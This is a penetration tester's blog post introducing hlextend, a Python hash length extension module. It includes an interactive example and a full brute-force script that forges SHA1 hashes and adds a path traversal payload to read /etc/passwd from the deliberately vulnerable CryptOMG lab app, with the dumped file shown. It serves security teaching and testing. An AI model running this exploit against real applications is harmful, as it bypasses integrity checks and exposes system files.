hlextend Pure Python hash length extension module
Introduction
Ive been spending some time recently looking at various types of cryptographic vulnerabilities, trying to work out more efficient ways of identifying and exploiting them during penetration tests.
Hash length extension attacks are one of the vulnerability classes I have been looking at, and while I'm aware of and have played round with other tools such as Hashpump and hash_extender, I really wanted something that I could easily make use of in various Python scripts, as well as perhaps Python based Burp extensions. To that end, I wrote my own pure Python module, hlextend.
In this initial version, hlextend only supports the vulnerable SHA1 and SHA2 hashes, sha1, sha256 and sha512. I plan to add MD5 support in the next version. The module is based on the SlowSha implementation by Stefano Palazzo, so it is slower than various compiled implementations, however it is fast enough for the uses I had in mind.
The module is available on GitHub.
Usage
Basic usage involves copying the module file hlextend.py into your Python path (or the present working directory when running a script that uses it), importing it, and using the 'new', 'extend' and 'hexdigest' functions to create an instance of your algorithm, use the extension functionality and printout the new hash.
For a more detailed example, assume an application you are attacking uses a known hash generated from an unknown secret value concatenated with a known user provided value to check the integrity of the user provided value - perhaps to ensure it has not been modified from an allowed set of values. You want to be able to produce a new valid hash after appending additional data to the known value, allowing you to change the data while still passing the integrity check function.
If the hash algorithm used is vulnerable, it is possible to achieve this without knowing the secret value as long as you know (or can guess, perhaps by brute force) the length of that secret value. This is called a hash length extension attack.
Assume the application creates a sha1 hash value of '52e98441017043eee154a6d1af98c5e0efab055c', by concatenating an unknown secret of length 10 and known data of 'hello'. You wish to append the text 'file' after 'hello' and also provide a valid hash back to the application that it will produce when it concatenates your provided value (which will include the string 'hello' followed by 'file') with its secret. You would do the following to perform the attack:
stephen@stoat:~$ python
Python 2.7.3 (default, Feb 27 2014, 19:58:35)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import hlextend
>>> sha = hlextend.new('sha1')
>>> print sha.extend('file', 'hello', 10, '52e98441017043eee154a6d1af98c5e0efab055c')
'hello\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00xfile'
>>> print sha.hexdigest()
c60fa7de0860d4048a3bfb36b70299a95e6587c9
The unknown secret (of length 10), that when hashed appended with 'hello' produces a SHA1 hash of '52e98441017043eee154a6d1af98c5e0efab055c', will then produce a SHA1 hash of 'c60fa7de0860d4048a3bfb36b70299a95e6587c9' when appended with the output from the extend function above.
You may notice that the new value produced above contains a lot of additional data between the 'hello' and the 'file' - this is hex encoded padding data used by the hash algorithm that needs to be integrated into the hashed data in order for the attack to work - so strictly speaking you can't specify the EXACT value to append, only what comes after the padding, but under the right circumstances you can make the application ignore this extra padding.
If you don't know the exact length of the secret value, brute forcing the value by trying multiple different lengths can sometimes be possible, depending on the application.
Example Attack
If you want a practical demonstration of the brute force approach, below is an example Python script that can exploit the CryptOMG hash length extension vulnerability in Challenge 5. For this challenge, the application is using a hash, sent with each file request, to confirm that the file being requested by the user is one that the user is allowed to access. An example URL looks like the following:
http://192.168.56.101/CryptOMG/ctf/challenge5/index.php?algo=sha1&file=hello&hash=93e8aee4ec259392da7c273b05e29f4595c5b9c6
The hash value is generated by concatenating a secret value known to the application, with the filename that the user requests in the 'file' parameter (the filename is 'hello' in the above URL). Including the secret value within the hash generation process prevents an attacker from easily changing the 'file' value, and then just generating a new valid hash to send to the application themselves. The application, however, is vulnerable to a hash length extension attack, allowing the attacker to brute force a valid hash for a changed value of the file parameter, by trying multiple possible lengths for the initial secret (a fact unknown to the attacker). This can be done WITHOUT ever having to know the actual secret itself.
The goal of Challenge 5 in CryptOMG is to read the /etc/passwd file, via bypassing the hash integrity check on the file parameter. This is what the script below will automate using the hlextend module to generate the extended hash values.
To use this script, install your own instance of CryptOMG and edit the 'site' parameter on line 11 to point to your instance of CryptOMG. The values for hashAlg, startHash and fileName are all taken from the URL parameters of the application after changing the algorithm to 'sha1' and selecting the 'hello' file from the menu on the left, and shouldn't need to be changed.
#!/usr/bin/env python
# Brute forcing script to solve CryptOMG Challenge 5 using hlextend Hash Length Extension Python module
from urllib import quote
import requests
import socket
import sys
import time
from HTMLParser import HTMLParser
import hlextend
site ='http://192.168.56.101/CryptOMG/ctf/challenge5/index.php'
hashAlg = 'sha1'
startHash = '93e8aee4ec259392da7c273b05e29f4595c5b9c6'
fileName = 'hello'
appendData = '../../../../../../../../../../../../../../etc/passwd'
params = { 'algo' : hashAlg }
#cookies = { 'PHPSESSID' : '710jkfcq2t29us8u56ag5oii55' }
#proxies = { 'http' : 'http://127.0.0.1:8080', 'https' : 'https://127.0.0.1:8080' }
try:
proxies
except:
proxies = {}
try:
cookies
except:
cookies = {}
reqsettings = { 'proxies' : proxies, 'stream' : False, 'timeout' : 5, 'verify' : False, 'cookies' : cookies }
class HParser(HTMLParser):
'''HTML parser to extract from div:content and h1 tags'''
def __init__(self):
HTMLParser.__init__(self)
global inHtag
global inDtag
self.outData = ''
self.divData = ''
inHtag = False
inDtag = False
def handle_starttag(self, tag, attrs):
global inHtag
global inDtag
if tag == 'h1':
inHtag = True
elif tag == 'div':
if (self.get_starttag_text().find('content') > -1):
inDtag = True
def handle_endtag(self, tag):
global inHtag
global inDtag
if tag == "h1":
inHtag = False
elif tag == "div":
inDtag = False
def handle_data(self, data):
global inHtag
global inDtag
if inHtag:
self.outData = self.outData + data
#self.outData.append(data)
elif inDtag:
self.divData = self.divData + data
def close(self):
return [ self.outData, self.divData ]
sessions = requests.Session()
for length in xrange(3, 60):
sha = hlextend.new(hashAlg)
append = sha.extend(appendData, fileName, length, startHash, raw=True)
newHash = sha.hexdigest()
params['file'] = append
params['hash'] = newHash
reqsettings['params'] = params
while 1:
try:
response = sessions.get(site, **reqsettings)
break
except (socket.error, requests.exceptions.RequestException):
time.sleep(1)
continue
parser = HParser()
parser.feed(response.text)
[ out, divdata ] = parser.close()
noResult = False
if out.find('File not found') > -1:
noResult = True
if not noResult:
print 'Length of secret: ' + str(length)
print 'Parameter value for file: ' + quote(append)
print 'Parameter value for hash: ' + newHash
print 'File contents: '
print divdata[6:]
sys.exit(0)
Here is the output when I run the script on CryptOMG installed on a Metasploitable box:
stephen@wolverine:~/code/hlextend-extra$ ./cryptomg5.py
Length of secret: 34
Parameter value for file: hello%80%018../../../../../../../../../../../../../../etc/passwd
Parameter value for hash: 1dcac9735aab91cd8c2433f5c55bed91ab167114
File contents:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
vboxadd:x:115:1::/var/run/vboxadd:/bin/false
Get it!
You can download the module on GitHub here.
